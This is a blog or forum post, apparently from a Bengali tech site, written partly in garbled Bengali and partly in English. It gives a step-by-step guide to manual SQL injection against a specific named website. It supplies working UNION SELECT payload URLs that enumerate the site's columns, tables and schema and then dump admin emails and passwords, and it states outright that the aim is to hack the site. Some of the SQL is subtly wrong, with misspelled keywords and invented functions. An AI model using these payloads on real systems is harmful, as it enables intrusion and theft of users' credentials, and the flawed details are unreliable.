আসালামালাইকুম আমি নতুন টেকটিউনস এ কোন ভুল হলে ক্ষমা করবেন
প্রথমে টিউন করব হ্যাকিং নিয়ে চলুন সুরু করা যাক,, ওয়েবসাইট ম্যানুয়াল হ্যাক করুন (সম্পূর্ণ গাইড)
খানে হ্যালো আবার T00L কিট, আমি SQLi ইনজেকশন শুরু আজ, আজ প্রথম শ্রেণীর তাই শুরু করতে দেয় হয়
আবশ্যক: -
ফায়ারফক্স ব্রাউজার
Hackbar
আক্রমণ্যতা সাইট
ঠিক আছে আমি এই মত ইতিমধ্যে আক্রমণ্যতা সাইট আছে
http://www.morephotosradio.com/transcript.php?interview_id=2021
হ্যাঁ এই ওয়েবসাইট দুর্বলতা পরীক্ষা করুন বা না, URL- এর মত শেষে ' রাখুন
ধাপ 1
= > Http://www.morephotosradio.com/transcript.php?interview_id=2021 '
হ্যাঁ আমি আপনি এই দেখতে পারেন একটি এসকিউএল ত্রুটি আছে
Requirements :-
ধাপ ২
+ + - - উদাহরণস্বরূপ প্রশ্নের = > ক্রম ব্যবহার করে টেবিলের সংখ্যা খুঁজুন
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 1--+- (No Error)
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 2--+- (No Error)
and so on when we got Error this mean its table number likehttp://www.morephotosradio.com/transcript.php?interview_id=2021 order by 45--+- (No Error)
http://www.morephotosradio.com/transcript.php?interview_id=2021 order by 47--+- (Error)
its mean its have 46 table numbers
Step 3
=> Go to union based => Union statement and Select INT,INT
Step 4
=> Now enter table number value and click ok
Step 5
=> after click ok you see this suto type 1 to 46 numbers then click Execute for checking its working
Its working we can't got any error 😀
step 6
=> Put - in the end link values like this
http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--+-
you can see this when we put - we go got Columns number is 6
Step 7
=> Now we need version :-
replace 6 number this query "version()"
you can see this we got sqli Version if you want more information like user name hostname and database use this query :-
For Version = version()
For Database = database()
For use = use()
For Host = host@@
Step 8
=> now we need table information so replace 6 number follow query "group_concat(table_name)" without quotes and in the end or url use this query "from information_Schema.tables wehre table schema=database()--+-" without quotes like
For Tables
http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(tables_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from information_Schema.tables where table_schema=database()--+-
you can see this we got all table names, we need admin user name because we wanna hack website 😀
Step 9
=> now replace "database()" with User
Now select user and go to "sqli basics" and select "char()" then past "user" then click ok like
And replace table with columns like this
For columns
http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from information_Schema.columns where table_name=CHAR(117, 115, 101, 114)--+-
now click Execute
Step 10
Now we need admin Email id and password now use this query
replace column_name with which data we need and,0x3a, mean when we need more data or in the end of url type table name
For data
http://www.morephotosradio.com/transcript.php?interview_id=-2021 +UNION+ALL+SELECT+1,2,3,4,5,group_concat(email,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 from User--+-
You can see this we got all admin emails and passwords 😉 😀
তাহলে আজ এই পজন্ত আল্লাহফেজ
সবাইকে ধন্যবাদ আমার টিউন পরার জন্য
আমি ফেসবুক এ
আর টেকটিউনস এর সাথে থাকুন,
